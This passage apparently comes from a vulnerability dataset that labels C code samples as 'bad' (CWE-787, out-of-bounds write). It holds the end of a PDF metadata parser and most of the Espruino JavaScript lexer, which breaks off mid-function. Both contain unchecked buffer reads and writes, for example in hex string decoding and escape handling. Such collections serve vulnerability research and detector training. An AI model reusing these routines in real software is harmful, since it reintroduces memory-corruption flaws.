--pdf->xrefs[i].version; } static pdf_creator_t *new_creator(int *n_elements) { pdf_creator_t *daddy; static const pdf_creator_t creator_template[] = { {"Title", ""}, {"Author", ""}, {"Subject", ""}, {"Keywords", ""}, {"Creator", ""}, {"Producer", ""}, {"CreationDate", ""}, {"ModDate", ""}, {"Trapped", ""}, }; daddy = safe_calloc(sizeof(creator_template)); memcpy(daddy, creator_template, sizeof(creator_template)); if (n_elements) *n_elements = sizeof(creator_template) / sizeof(creator_template[0]); return daddy; } #define END_OF_TRAILER(_c, _st, _fp) \ { \ if (_c == '>') \ { \ fseek(_fp, _st, SEEK_SET); \ continue; \ } \ } static void load_creator(FILE *fp, pdf_t *pdf) { int i, buf_idx; char c, *buf, obj_id_buf[32] = {0}; long start; size_t sz; start = ftell(fp); /* For each PDF version */ for (i=0; i<pdf->n_xrefs; ++i) { if (!pdf->xrefs[i].version) continue; /* Find trailer */ fseek(fp, pdf->xrefs[i].start, SEEK_SET); while (SAFE_F(fp, (fgetc(fp) != 't'))) ; /* Iterate to "trailer" */ /* Look for "<< ....... /Info ......" */ c = '\0'; while (SAFE_F(fp, ((c = fgetc(fp)) != '>'))) if (SAFE_F(fp, ((c == '/') && (fgetc(fp) == 'I') && ((fgetc(fp) == 'n'))))) break; /* Could not find /Info in trailer */ END_OF_TRAILER(c, start, fp); while (SAFE_F(fp, (!isspace(c = fgetc(fp)) && (c != '>')))) ; /* Iterate to first white space /Info<space><data> */ /* No space between /Info and its data */ END_OF_TRAILER(c, start, fp); while (SAFE_F(fp, (isspace(c = fgetc(fp)) && (c != '>')))) ; /* Iterate right on top of first non-whitespace /Info data */ /* No data for /Info */ END_OF_TRAILER(c, start, fp); /* Get obj id as number */ buf_idx = 0; obj_id_buf[buf_idx++] = c; while ((buf_idx < (sizeof(obj_id_buf) - 1)) && SAFE_F(fp, (!isspace(c = fgetc(fp)) && (c != '>')))) obj_id_buf[buf_idx++] = c; END_OF_TRAILER(c, start, fp); /* Get the object for the creator data. If linear, try both xrefs */ buf = get_object(fp, atoll(obj_id_buf), &pdf->xrefs[i], &sz, NULL); if (!buf && pdf->xrefs[i].is_linear && (i+1 < pdf->n_xrefs)) buf = get_object(fp, atoll(obj_id_buf), &pdf->xrefs[i+1], &sz, NULL); load_creator_from_buf(fp, &pdf->xrefs[i], buf, sz); free(buf); } fseek(fp, start, SEEK_SET); } static void load_creator_from_buf( FILE *fp, xref_t *xref, const char *buf, size_t buf_size) { int is_xml; char *c; if (!buf) return; /* Check to see if this is xml or old-school */ if ((c = strstr(buf, "/Type"))) while (*c && !isspace(*c)) ++c; /* Probably "Metadata" */ is_xml = 0; if (c && (*c == 'M')) is_xml = 1; /* Is the buffer XML(PDF 1.4+) or old format? */ if (is_xml) load_creator_from_xml(xref, buf); else load_creator_from_old_format(fp, xref, buf, buf_size); } static void load_creator_from_xml(xref_t *xref, const char *buf) { /* TODO */ } static void load_creator_from_old_format( FILE *fp, xref_t *xref, const char *buf, size_t buf_size) { int i, n_eles, length, is_escaped, obj_id; char *c, *ascii, *start, *s, *saved_buf_search, *obj; size_t obj_size; pdf_creator_t *info; info = new_creator(&n_eles); /* Mark the end of buf, so that we do not crawl past it */ if (buf_size < 1) return; const char *buf_end = buf + buf_size - 1; /* Treat 'end' as either the end of 'buf' or the end of 'obj'. Obj is if * the creator element (e.g., ModDate, Producer, etc) is an object and not * part of 'buf'. */ const char *end = buf_end; for (i=0; i<n_eles; ++i) { if (!(c = strstr(buf, info[i].key))) continue; /* Find the value (skipping whitespace) */ c += strlen(info[i].key); while (isspace(*c)) ++c; if (c >= buf_end) { FAIL("Failed to locate space, likely a corrupt PDF."); } /* If looking at the start of a pdf token, we have gone too far */ if (*c == '/') continue; /* If the value is a number and not a '(' then the data is located in * an object we need to fetch, and not inline */ obj = saved_buf_search = NULL; obj_size = 0; end = buf_end; /* Init to be the buffer, this might not be an obj. */ if (isdigit(*c)) { obj_id = atoi(c); saved_buf_search = c; s = saved_buf_search; obj = get_object(fp, obj_id, xref, &obj_size, NULL); end = obj + obj_size; c = obj; /* Iterate to '(' */ while (c && (*c != '(') && (c < end)) ++c; if (c >= end) { FAIL("Failed to locate a '(' character. " "This might be a corrupt PDF.\n"); } /* Advance the search to the next token */ while (s && (*s == '/') && (s < buf_end)) ++s; if (s >= buf_end) { FAIL("Failed to locate a '/' character. " "This might be a corrupt PDF.\n"); } saved_buf_search = s; } /* Find the end of the value */ start = c; length = is_escaped = 0; while (c && ((*c != '\r') && (*c != '\n') && (*c != '<'))) { /* Bail out if we see an un-escaped ')' closing character */ if (!is_escaped && (*c == ')')) break; else if (*c == '\\') is_escaped = 1; else is_escaped = 0; ++c; ++length; if (c > end) { FAIL("Failed to locate the end of a value. " "This might be a corrupt PDF.\n"); } } if (length == 0) continue; /* Add 1 to length so it gets the closing ')' when we copy */ if (length) length += 1; length = (length > KV_MAX_VALUE_LENGTH) ? KV_MAX_VALUE_LENGTH : length; strncpy(info[i].value, start, length); info[i].value[KV_MAX_VALUE_LENGTH - 1] = '\0'; /* Restore where we were searching from */ if (saved_buf_search) { /* Release memory from get_object() called earlier */ free(obj); c = saved_buf_search; } } /* For all creation information tags */ /* Go through the values and convert if encoded */ for (i = 0; i < n_eles; ++i) { const size_t val_str_len = strnlen(info[i].value, KV_MAX_VALUE_LENGTH); if ((ascii = decode_text_string(info[i].value, val_str_len))) { strncpy(info[i].value, ascii, val_str_len); free(ascii); } } xref->creator = info; xref->n_creator_entries = n_eles; } /* Returns object data at the start of the file pointer * This interfaces to 'get_object' */ static char *get_object_from_here(FILE *fp, size_t *size, int *is_stream) { long start; char buf[256]; int obj_id; xref_t xref; xref_entry_t entry; start = ftell(fp); /* Object ID */ memset(buf, 0, 256); SAFE_E(fread(buf, 1, 255, fp), 255, "Failed to load object ID.\n"); if (!(obj_id = atoi(buf))) { fseek(fp, start, SEEK_SET); return NULL; } /* Create xref entry to pass to the get_object routine */ memset(&entry, 0, sizeof(xref_entry_t)); entry.obj_id = obj_id; entry.offset = start; /* Xref and single entry for the object we want data from */ memset(&xref, 0, sizeof(xref_t)); xref.n_entries = 1; xref.entries = &entry; fseek(fp, start, SEEK_SET); return get_object(fp, obj_id, &xref, size, is_stream); } static char *get_object( FILE *fp, int obj_id, const xref_t *xref, size_t *size, int *is_stream) { static const int blk_sz = 256; int i, total_sz, read_sz, n_blks, search, stream; size_t obj_sz; char *c, *data; long start; const xref_entry_t *entry; if (size) *size = 0; if (is_stream) *is_stream = 0; start = ftell(fp); /* Find object */ entry = NULL; for (i=0; i<xref->n_entries; i++) if (xref->entries[i].obj_id == obj_id) { entry = &xref->entries[i]; break; } if (!entry) return NULL; /* Jump to object start */ fseek(fp, entry->offset, SEEK_SET); /* Initial allocation */ obj_sz = 0; /* Bytes in object */ total_sz = 0; /* Bytes read in */ n_blks = 1; data = safe_calloc(blk_sz * n_blks); /* Suck in data */ stream = 0; while ((read_sz = fread(data+total_sz, 1, blk_sz-1, fp)) && !ferror(fp)) { total_sz += read_sz; *(data + total_sz) = '\0'; if (total_sz + blk_sz >= (blk_sz * n_blks)) data = realloc(data, blk_sz * (++n_blks)); if (!data) { ERR("Failed to reallocate buffer.\n"); exit(EXIT_FAILURE); } search = total_sz - read_sz; if (search < 0) search = 0; if ((c = strstr(data + search, "endobj"))) { *(c + strlen("endobj") + 1) = '\0'; obj_sz = (char *)strstr(data + search, "endobj") - (char *)data; obj_sz += strlen("endobj") + 1; break; } else if (strstr(data, "stream")) stream = 1; } clearerr(fp); fseek(fp, start, SEEK_SET); if (size) { *size = obj_sz; if (!obj_sz && data) { free(data); data = NULL; } } if (is_stream) *is_stream = stream; return data; } static const char *get_type(FILE *fp, int obj_id, const xref_t *xref) { int is_stream; char *c, *obj, *endobj; static char buf[32]; long start; start = ftell(fp); if (!(obj = get_object(fp, obj_id, xref, NULL, &is_stream)) || is_stream || !(endobj = strstr(obj, "endobj"))) { free(obj); fseek(fp, start, SEEK_SET); if (is_stream) return "Stream"; else return "Unknown"; } /* Get the Type value (avoiding font names like Type1) */ c = obj; while ((c = strstr(c, "/Type")) && (c < endobj)) if (isdigit(*(c + strlen("/Type")))) { ++c; continue; } else break; if (!c || (c && (c > endobj))) { free(obj); fseek(fp, start, SEEK_SET); return "Unknown"; } /* Skip to first blank/whitespace */ c += strlen("/Type"); while (isspace(*c) || *c == '/') ++c; /* 'c' should be pointing to the type name. Find the end of the name. */ size_t n_chars = 0; const char *name_itr = c; while ((name_itr < endobj) && !(isspace(*name_itr) || *name_itr == '/' || *name_itr == '>')) { ++name_itr; ++n_chars; } if (n_chars >= sizeof(buf)) { free(obj); fseek(fp, start, SEEK_SET); return "Unknown"; } /* Return the value by storing it in static mem. */ memcpy(buf, c, n_chars); buf[n_chars] = '\0'; free(obj); fseek(fp, start, SEEK_SET); return buf; } static char *get_header(FILE *fp) { /* First 1024 bytes of doc must be header (1.7 spec pg 1102) */ char *header = safe_calloc(1024); long start = ftell(fp); fseek(fp, 0, SEEK_SET); SAFE_E(fread(header, 1, 1023, fp), 1023, "Failed to load PDF header.\n"); fseek(fp, start, SEEK_SET); return header; } static char *decode_text_string(const char *str, size_t str_len) { int idx, is_hex, is_utf16be, ascii_idx; char *ascii, hex_buf[5] = {0}; is_hex = is_utf16be = idx = ascii_idx = 0; /* Regular encoding */ if (str[0] == '(') { ascii = safe_calloc(str_len + 1); strncpy(ascii, str, str_len + 1); return ascii; } else if (str[0] == '<') { is_hex = 1; ++idx; } /* Text strings can be either PDFDocEncoding or UTF-16BE */ if (is_hex && (str_len > 5) && (str[idx] == 'F') && (str[idx+1] == 'E') && (str[idx+2] == 'F') && (str[idx+3] == 'F')) { is_utf16be = 1; idx += 4; } else return NULL; /* Now decode as hex */ ascii = safe_calloc(str_len); for ( ; idx<str_len; ++idx) { hex_buf[0] = str[idx++]; hex_buf[1] = str[idx++]; hex_buf[2] = str[idx++]; hex_buf[3] = str[idx]; ascii[ascii_idx++] = strtol(hex_buf, NULL, 16); } return ascii; } /* Return the offset to the beginning of the %%EOF string. * A negative value is returned when done scanning. */ static int get_next_eof(FILE *fp) { int match, c; const char buf[] = "%%EOF"; match = 0; while ((c = fgetc(fp)) != EOF) { if (c == buf[match]) ++match; else match = 0; if (match == 5) /* strlen("%%EOF") */ return ftell(fp) - 5; } return -1; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_4263_1
crossvul-cpp_data_bad_158_0
/* * This file is part of Espruino, a JavaScript interpreter for Microcontrollers * * Copyright (C) 2013 Gordon Williams <gw@pur3.co.uk> * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. * * ---------------------------------------------------------------------------- * Lexer (convert JsVar strings into a series of tokens) * ---------------------------------------------------------------------------- */ #include "jslex.h" JsLex *lex; JsLex *jslSetLex(JsLex *l) { JsLex *old = lex; lex = l; return old; } void jslCharPosFree(JslCharPos *pos) { jsvStringIteratorFree(&pos->it); } JslCharPos jslCharPosClone(JslCharPos *pos) { JslCharPos p; p.it = jsvStringIteratorClone(&pos->it); p.currCh = pos->currCh; return p; } /// Return the next character (do not move to the next character) static ALWAYS_INLINE char jslNextCh() { return (char)(lex->it.ptr ? READ_FLASH_UINT8(&lex->it.ptr[lex->it.charIdx]) : 0); } /// Move on to the next character static void NO_INLINE jslGetNextCh() { lex->currCh = jslNextCh(); /** NOTE: In this next bit, we DON'T LOCK OR UNLOCK. * The String iterator we're basing on does, so every * time we touch the iterator we have to re-lock it */ lex->it.charIdx++; if (lex->it.charIdx >= lex->it.charsInVar) { lex->it.charIdx -= lex->it.charsInVar; if (lex->it.var && jsvGetLastChild(lex->it.var)) { lex->it.var = _jsvGetAddressOf(jsvGetLastChild(lex->it.var)); lex->it.ptr = &lex->it.var->varData.str[0]; lex->it.varIndex += lex->it.charsInVar; lex->it.charsInVar = jsvGetCharactersInVar(lex->it.var); } else { lex->it.var = 0; lex->it.ptr = 0; lex->it.varIndex += lex->it.charsInVar; lex->it.charsInVar = 0; } } } static ALWAYS_INLINE void jslTokenAppendChar(char ch) { /* Add character to buffer but check it isn't too big. * Also Leave ONE character at the end for null termination */ if (lex->tokenl < JSLEX_MAX_TOKEN_LENGTH-1) { lex->token[lex->tokenl++] = ch; } } static bool jslIsToken(const char *token, int startOffset) { int i; for (i=startOffset;i<lex->tokenl;i++) { if (lex->token[i]!=token[i]) return false; // if token is smaller than lex->token, there will be a null char // which will be different from the token } return token[lex->tokenl] == 0; // only match if token ends now } typedef enum { JSLJT_ID, JSLJT_NUMBER, JSLJT_STRING, JSLJT_SINGLECHAR, JSLJT_EXCLAMATION, JSLJT_PLUS, JSLJT_MINUS, JSLJT_AND, JSLJT_OR, JSLJT_PERCENT, JSLJT_STAR, JSLJT_TOPHAT, JSLJT_FORWARDSLASH, JSLJT_LESSTHAN, JSLJT_EQUAL, JSLJT_GREATERTHAN, } PACKED_FLAGS jslJumpTableEnum; #define jslJumpTableStart 33 // '!' - the first handled character #define jslJumpTableEnd 124 // '|' - the last handled character const jslJumpTableEnum jslJumpTable[jslJumpTableEnd+1-jslJumpTableStart] = { // 33 JSLJT_EXCLAMATION, // ! JSLJT_STRING, // " JSLJT_SINGLECHAR, // # JSLJT_ID, // $ JSLJT_PERCENT, // % JSLJT_AND, // & JSLJT_STRING, // ' JSLJT_SINGLECHAR, // ( JSLJT_SINGLECHAR, // ) JSLJT_STAR, // * JSLJT_PLUS, // + JSLJT_SINGLECHAR, // , JSLJT_MINUS, // - JSLJT_NUMBER, // . - special :/ JSLJT_FORWARDSLASH, // / // 48 JSLJT_NUMBER, // 0 JSLJT_NUMBER, // 1 JSLJT_NUMBER, // 2 JSLJT_NUMBER, // 3 JSLJT_NUMBER, // 4 JSLJT_NUMBER, // 5 JSLJT_NUMBER, // 6 JSLJT_NUMBER, // 7 JSLJT_NUMBER, // 8 JSLJT_NUMBER, // 9 JSLJT_SINGLECHAR, // : JSLJT_SINGLECHAR, // ; JSLJT_LESSTHAN, // < JSLJT_EQUAL, // = JSLJT_GREATERTHAN, // > JSLJT_SINGLECHAR, // ? // 64 JSLJT_SINGLECHAR, // @ JSLJT_ID, // A JSLJT_ID, // B JSLJT_ID, // C JSLJT_ID, // D JSLJT_ID, // E JSLJT_ID, // F JSLJT_ID, // G JSLJT_ID, // H JSLJT_ID, // I JSLJT_ID, // J JSLJT_ID, // K JSLJT_ID, // L JSLJT_ID, // M JSLJT_ID, // N JSLJT_ID, // O JSLJT_ID, // P JSLJT_ID, // Q JSLJT_ID, // R JSLJT_ID, // S JSLJT_ID, // T JSLJT_ID, // U JSLJT_ID, // V JSLJT_ID, // W JSLJT_ID, // X JSLJT_ID, // Y JSLJT_ID, // Z JSLJT_SINGLECHAR, // [ JSLJT_SINGLECHAR, // \ char JSLJT_SINGLECHAR, // ] JSLJT_TOPHAT, // ^ JSLJT_ID, // _ // 96 JSLJT_STRING, // ` JSLJT_ID, // A lowercase JSLJT_ID, // B lowercase JSLJT_ID, // C lowercase JSLJT_ID, // D lowercase JSLJT_ID, // E lowercase JSLJT_ID, // F lowercase JSLJT_ID, // G lowercase JSLJT_ID, // H lowercase JSLJT_ID, // I lowercase JSLJT_ID, // J lowercase JSLJT_ID, // K lowercase JSLJT_ID, // L lowercase JSLJT_ID, // M lowercase JSLJT_ID, // N lowercase JSLJT_ID, // O lowercase JSLJT_ID, // P lowercase JSLJT_ID, // Q lowercase JSLJT_ID, // R lowercase JSLJT_ID, // S lowercase JSLJT_ID, // T lowercase JSLJT_ID, // U lowercase JSLJT_ID, // V lowercase JSLJT_ID, // W lowercase JSLJT_ID, // X lowercase JSLJT_ID, // Y lowercase JSLJT_ID, // Z lowercase JSLJT_SINGLECHAR, // { JSLJT_OR, // | // everything past here is handled as a single char // JSLJT_SINGLECHAR, // } // JSLJT_SINGLECHAR, // ~ }; // handle a single char static ALWAYS_INLINE void jslSingleChar() { lex->tk = (unsigned char)lex->currCh; jslGetNextCh(); } static void jslLexString() { char delim = lex->currCh; lex->tokenValue = jsvNewFromEmptyString(); if (!lex->tokenValue) { lex->tk = LEX_EOF; return; } JsvStringIterator it; jsvStringIteratorNew(&it, lex->tokenValue, 0); // strings... jslGetNextCh(); while (lex->currCh && lex->currCh!=delim) { if (lex->currCh == '\\') { jslGetNextCh(); char ch = lex->currCh; switch (lex->currCh) { case 'n' : ch = 0x0A; jslGetNextCh(); break; case 'b' : ch = 0x08; jslGetNextCh(); break; case 'f' : ch = 0x0C; jslGetNextCh(); break; case 'r' : ch = 0x0D; jslGetNextCh(); break; case 't' : ch = 0x09; jslGetNextCh(); break; case 'v' : ch = 0x0B; jslGetNextCh(); break; case 'u' : case 'x' : { // hex digits char buf[5] = "0x??"; if (lex->currCh == 'u') { // We don't support unicode, so we just take the bottom 8 bits // of the unicode character jslGetNextCh(); jslGetNextCh(); } jslGetNextCh(); buf[2] = lex->currCh; jslGetNextCh(); buf[3] = lex->currCh; jslGetNextCh(); ch = (char)stringToInt(buf); } break; default: if (lex->currCh>='0' && lex->currCh<='7') { // octal digits char buf[5] = "0"; buf[1] = lex->currCh; int n=2; jslGetNextCh(); if (lex->currCh>='0' && lex->currCh<='7') { buf[n++] = lex->currCh; jslGetNextCh(); if (lex->currCh>='0' && lex->currCh<='7') { buf[n++] = lex->currCh; jslGetNextCh(); } } buf[n]=0; ch = (char)stringToInt(buf); } else { // for anything else, just push the character through jslGetNextCh(); } break; } jslTokenAppendChar(ch); jsvStringIteratorAppend(&it, ch); } else if (lex->currCh=='\n' && delim!='`') { /* Was a newline - this is now allowed * unless we're a template string */ break; } else { jslTokenAppendChar(lex->currCh); jsvStringIteratorAppend(&it, lex->currCh); jslGetNextCh(); } } jsvStringIteratorFree(&it); if (delim=='`') lex->tk = LEX_TEMPLATE_LITERAL; else lex->tk = LEX_STR; // unfinished strings if (lex->currCh!=delim) lex->tk++; // +1 gets you to 'unfinished X' jslGetNextCh(); } static void jslLexRegex() { lex->tokenValue = jsvNewFromEmptyString(); if (!lex->tokenValue) { lex->tk = LEX_EOF; return; } JsvStringIterator it; jsvStringIteratorNew(&it, lex->tokenValue, 0); jsvStringIteratorAppend(&it, '/'); // strings... jslGetNextCh(); while (lex->currCh && lex->currCh!='/') { if (lex->currCh == '\\') { jsvStringIteratorAppend(&it, lex->currCh); jslGetNextCh(); } else if (lex->currCh=='\n') { /* Was a newline - this is now allowed * unless we're a template string */ break; } jsvStringIteratorAppend(&it, lex->currCh); jslGetNextCh(); } lex->tk = LEX_REGEX; if (lex->currCh!='/') { lex->tk++; // +1 gets you to 'unfinished X' } else { jsvStringIteratorAppend(&it, '/'); jslGetNextCh(); // regex modifiers while (lex->currCh=='g' || lex->currCh=='i' || lex->currCh=='m' || lex->currCh=='y' || lex->currCh=='u') { jslTokenAppendChar(lex->currCh); jsvStringIteratorAppend(&it, lex->currCh); jslGetNextCh(); } } jsvStringIteratorFree(&it); } void jslGetNextToken() { jslGetNextToken_start: // Skip whitespace while (isWhitespace(lex->currCh)) jslGetNextCh(); // Search for comments if (lex->currCh=='/') { // newline comments if (jslNextCh()=='/') { while (lex->currCh && lex->currCh!='\n') jslGetNextCh(); jslGetNextCh(); goto jslGetNextToken_start; } // block comments if (jslNextCh()=='*') { jslGetNextCh(); jslGetNextCh(); while (lex->currCh && !(lex->currCh=='*' && jslNextCh()=='/')) jslGetNextCh(); if (!lex->currCh) { lex->tk = LEX_UNFINISHED_COMMENT; return; /* an unfinished multi-line comment. When in interactive console, detect this and make sure we accept new lines */ } jslGetNextCh(); jslGetNextCh(); goto jslGetNextToken_start; } } int lastToken = lex->tk; lex->tk = LEX_EOF; lex->tokenl = 0; // clear token string if (lex->tokenValue) { jsvUnLock(lex->tokenValue); lex->tokenValue = 0; } // record beginning of this token lex->tokenLastStart = jsvStringIteratorGetIndex(&lex->tokenStart.it) - 1; /* we don't lock here, because we know that the string itself will be locked * because of lex->sourceVar */ lex->tokenStart.it = lex->it; lex->tokenStart.currCh = lex->currCh; // tokens if (((unsigned char)lex->currCh) < jslJumpTableStart || ((unsigned char)lex->currCh) > jslJumpTableEnd) { // if unhandled by the jump table, just pass it through as a single character jslSingleChar(); } else { switch(jslJumpTable[((unsigned char)lex->currCh) - jslJumpTableStart]) { case JSLJT_ID: { while (isAlpha(lex->currCh) || isNumeric(lex->currCh) || lex->currCh=='$') { jslTokenAppendChar(lex->currCh); jslGetNextCh(); } lex->tk = LEX_ID; // We do fancy stuff here to reduce number of compares (hopefully GCC creates a jump table) switch (lex->token[0]) { case 'b': if (jslIsToken("break", 1)) lex->tk = LEX_R_BREAK; break; case 'c': if (jslIsToken("case", 1)) lex->tk = LEX_R_CASE; else if (jslIsToken("catch", 1)) lex->tk = LEX_R_CATCH; else if (jslIsToken("class", 1)) lex->tk = LEX_R_CLASS; else if (jslIsToken("const", 1)) lex->tk = LEX_R_CONST; else if (jslIsToken("continue", 1)) lex->tk = LEX_R_CONTINUE; break; case 'd': if (jslIsToken("default", 1)) lex->tk = LEX_R_DEFAULT; else if (jslIsToken("delete", 1)) lex->tk = LEX_R_DELETE; else if (jslIsToken("do", 1)) lex->tk = LEX_R_DO; else if (jslIsToken("debugger", 1)) lex->tk = LEX_R_DEBUGGER; break; case 'e': if (jslIsToken("else", 1)) lex->tk = LEX_R_ELSE; else if (jslIsToken("extends", 1)) lex->tk = LEX_R_EXTENDS; break; case 'f': if (jslIsToken("false", 1)) lex->tk = LEX_R_FALSE; else if (jslIsToken("finally", 1)) lex->tk = LEX_R_FINALLY; else if (jslIsToken("for", 1)) lex->tk = LEX_R_FOR; else if (jslIsToken("function", 1)) lex->tk = LEX_R_FUNCTION; break; case 'i': if (jslIsToken("if", 1)) lex->tk = LEX_R_IF; else if (jslIsToken("in", 1)) lex->tk = LEX_R_IN; else if (jslIsToken("instanceof", 1)) lex->tk = LEX_R_INSTANCEOF; break; case 'l': if (jslIsToken("let", 1)) lex->tk = LEX_R_LET; break; case 'n': if (jslIsToken("new", 1)) lex->tk = LEX_R_NEW; else if (jslIsToken("null", 1)) lex->tk = LEX_R_NULL; break; case 'r': if (jslIsToken("return", 1)) lex->tk = LEX_R_RETURN; break; case 's': if (jslIsToken("static", 1)) lex->tk = LEX_R_STATIC; else if (jslIsToken("super", 1)) lex->tk = LEX_R_SUPER; else if (jslIsToken("switch", 1)) lex->tk = LEX_R_SWITCH; break; case 't': if (jslIsToken("this", 1)) lex->tk = LEX_R_THIS; else if (jslIsToken("throw", 1)) lex->tk = LEX_R_THROW; else if (jslIsToken("true", 1)) lex->tk = LEX_R_TRUE; else if (jslIsToken("try", 1)) lex->tk = LEX_R_TRY; else if (jslIsToken("typeof", 1)) lex->tk = LEX_R_TYPEOF; break; case 'u': if (jslIsToken("undefined", 1)) lex->tk = LEX_R_UNDEFINED; break; case 'w': if (jslIsToken("while", 1)) lex->tk = LEX_R_WHILE; break; case 'v': if (jslIsToken("var", 1)) lex->tk = LEX_R_VAR; else if (jslIsToken("void", 1)) lex->tk = LEX_R_VOID; break; default: break; } break; case JSLJT_NUMBER: { // TODO: check numbers aren't the wrong format bool canBeFloating = true; if (lex->currCh=='.') { jslGetNextCh(); if (isNumeric(lex->currCh)) { // it is a float lex->tk = LEX_FLOAT; jslTokenAppendChar('.'); } else { // it wasn't a number after all lex->tk = '.'; break; } } else { if (lex->currCh=='0') { jslTokenAppendChar(lex->currCh); jslGetNextCh(); if ((lex->currCh=='x' || lex->currCh=='X') || (lex->currCh=='b' || lex->currCh=='B') || (lex->currCh=='o' || lex->currCh=='O')) { canBeFloating = false; jslTokenAppendChar(lex->currCh); jslGetNextCh(); } } lex->tk = LEX_INT; while (isNumeric(lex->currCh) || (!canBeFloating && isHexadecimal(lex->currCh))) { jslTokenAppendChar(lex->currCh); jslGetNextCh(); } if (canBeFloating && lex->currCh=='.') { lex->tk = LEX_FLOAT; jslTokenAppendChar('.'); jslGetNextCh(); } } // parse fractional part if (lex->tk == LEX_FLOAT) { while (isNumeric(lex->currCh)) { jslTokenAppendChar(lex->currCh); jslGetNextCh(); } } // do fancy e-style floating point if (canBeFloating && (lex->currCh=='e'||lex->currCh=='E')) { lex->tk = LEX_FLOAT; jslTokenAppendChar(lex->currCh); jslGetNextCh(); if (lex->currCh=='-' || lex->currCh=='+') { jslTokenAppendChar(lex->currCh); jslGetNextCh(); } while (isNumeric(lex->currCh)) { jslTokenAppendChar(lex->currCh); jslGetNextCh(); } } } break; case JSLJT_STRING: jslLexString(); break; case JSLJT_EXCLAMATION: jslSingleChar(); if (lex->currCh=='=') { // != lex->tk = LEX_NEQUAL; jslGetNextCh(); if (lex->currCh=='=') { // !== lex->tk = LEX_NTYPEEQUAL; jslGetNextCh(); } } break; case JSLJT_PLUS: jslSingleChar(); if (lex->currCh=='=') { lex->tk = LEX_PLUSEQUAL; jslGetNextCh(); } else if (lex->currCh=='+') { lex->tk = LEX_PLUSPLUS; jslGetNextCh(); } break; case JSLJT_MINUS: jslSingleChar(); if (lex->currCh=='=') { lex->tk = LEX_MINUSEQUAL; jslGetNextCh(); } else if (lex->currCh=='-') { lex->tk = LEX_MINUSMINUS; jslGetNextCh(); } break; case JSLJT_AND: jslSingleChar(); if (lex->currCh=='=') { lex->tk = LEX_ANDEQUAL; jslGetNextCh(); } else if (lex->currCh=='&') { lex->tk = LEX_ANDAND; jslGetNextCh(); } break; case JSLJT_OR: jslSingleChar(); if (lex->currCh=='=') { lex->tk = LEX_OREQUAL; jslGetNextCh(); } else if (lex->currCh=='|') { lex->tk = LEX_OROR; jslGetNextCh(); } break; case JSLJT_TOPHAT: jslSingleChar(); if (lex->currCh=='=') { lex->tk = LEX_XOREQUAL; jslGetNextCh(); } break; case JSLJT_STAR: jslSingleChar(); if (lex->currCh=='=') { lex->tk = LEX_MULEQUAL; jslGetNextCh(); } break; case JSLJT_FORWARDSLASH: // yay! JS is so awesome. if (lastToken==LEX_EOF || lastToken=='!' || lastToken=='%' || lastToken=='&' || lastToken=='*' || lastToken=='+' || lastToken=='-' || lastToken=='/' || lastToken=='<' || lastToken=='=' || lastToken=='>' || lastToken=='?' || (lastToken>=_LEX_OPERATOR_START && lastToken<=_LEX_OPERATOR_END) || (lastToken>=_LEX_R_LIST_START && lastToken<=_LEX_R_LIST_END) || // keywords lastToken==LEX_R_CASE || lastToken==LEX_R_NEW || lastToken=='[' || lastToken=='{' || lastToken=='}' || lastToken=='(' || lastToken==',' || lastToken==';' || lastToken==':' || lastToken==LEX_ARROW_FUNCTION) { // EOF operator keyword case new [ { } ( , ; : => // phew. We're a regex jslLexRegex(); } else { jslSingleChar(); if (lex->currCh=='=') { lex->tk = LEX_DIVEQUAL; jslGetNextCh(); } } break; case JSLJT_PERCENT: jslSingleChar(); if (lex->currCh=='=') { lex->tk = LEX_MODEQUAL; jslGetNextCh(); } break; case JSLJT_EQUAL: jslSingleChar(); if (lex->currCh=='=') { // == lex->tk = LEX_EQUAL; jslGetNextCh(); if (lex->currCh=='=') { // === lex->tk = LEX_TYPEEQUAL; jslGetNextCh(); } } else if (lex->currCh=='>') { // => lex->tk = LEX_ARROW_FUNCTION; jslGetNextCh(); } break; case JSLJT_LESSTHAN: jslSingleChar(); if (lex->currCh=='=') { // <= lex->tk = LEX_LEQUAL; jslGetNextCh(); } else if (lex->currCh=='<') { // << lex->tk = LEX_LSHIFT; jslGetNextCh(); if (lex->currCh=='=') { // <<= lex->tk = LEX_LSHIFTEQUAL; jslGetNextCh(); } } break; case JSLJT_GREATERTHAN: jslSingleChar(); if (lex->currCh=='=') { // >= lex->tk = LEX_GEQUAL; jslGetNextCh(); } else if (lex->currCh=='>') { // >> lex->tk = LEX_RSHIFT; jslGetNextCh(); if (lex->currCh=='=') { // >>= lex->tk = LEX_RSHIFTEQUAL; jslGetNextCh(); } else if (lex->currCh=='>') { // >>> jslGetNextCh(); if (lex->currCh=='=') { // >>>= lex->tk = LEX_RSHIFTUNSIGNEDEQUAL; jslGetNextCh(); } else { lex->tk = LEX_RSHIFTUNSIGNED; } } } break; case JSLJT_SINGLECHAR: jslSingleChar(); break; default: assert(0);break; } } } } static ALWAYS_INLINE void jslPreload() { // set up.. jslGetNextCh(); jslGetNextToken(); } void jslInit(JsVar *var) { lex->sourceVar = jsvLockAgain(var); // reset stuff lex->tk = 0; lex->tokenStart.it.var = 0; lex->tokenStart.currCh = 0; lex->tokenLastStart = 0; lex->tokenl = 0; lex->tokenValue = 0; lex->lineNumberOffset = 0; // set up iterator jsvStringIteratorNew(&lex->it, lex->sourceVar, 0); jsvUnLock(lex->it.var); // see jslGetNextCh jslPreload(); } void jslKill() { lex->tk = LEX_EOF; // safety ;) if (lex->it.var) jsvLockAgain(lex->it.var); // see jslGetNextCh jsvStringIteratorFree(&lex->it); if (lex->tokenValue) { jsvUnLock(lex->tokenValue); lex->tokenValue = 0; } jsvUnLock(lex->sourceVar); lex->tokenStart.it.var = 0; lex->tokenStart.currCh = 0; } void jslSeekTo(size_t seekToChar) { if (lex->it.var) jsvLockAgain(lex->it.var); // see jslGetNextCh jsvStringIteratorFree(&lex->it); jsvStringIteratorNew(&lex->it, lex->sourceVar, seekToChar); jsvUnLock(lex->it.var); // see jslGetNextCh lex->tokenStart.it.var = 0; lex->tokenStart.currCh = 0; jslPreload(); } void jslSeekToP(JslCharPos *seekToChar) { if (lex->it.var) jsvLockAgain(lex->it.var); // see jslGetNextCh jsvStringIteratorFree(&lex->it); lex->it = jsvStringIteratorClone(&seekToChar->it); jsvUnLock(lex->it.var); // see jslGetNextCh lex->currCh = seekToChar->currCh; lex->tokenStart.it.var = 0; lex->tokenStart.currCh = 0; jslGetNextToken(); } void jslReset() { 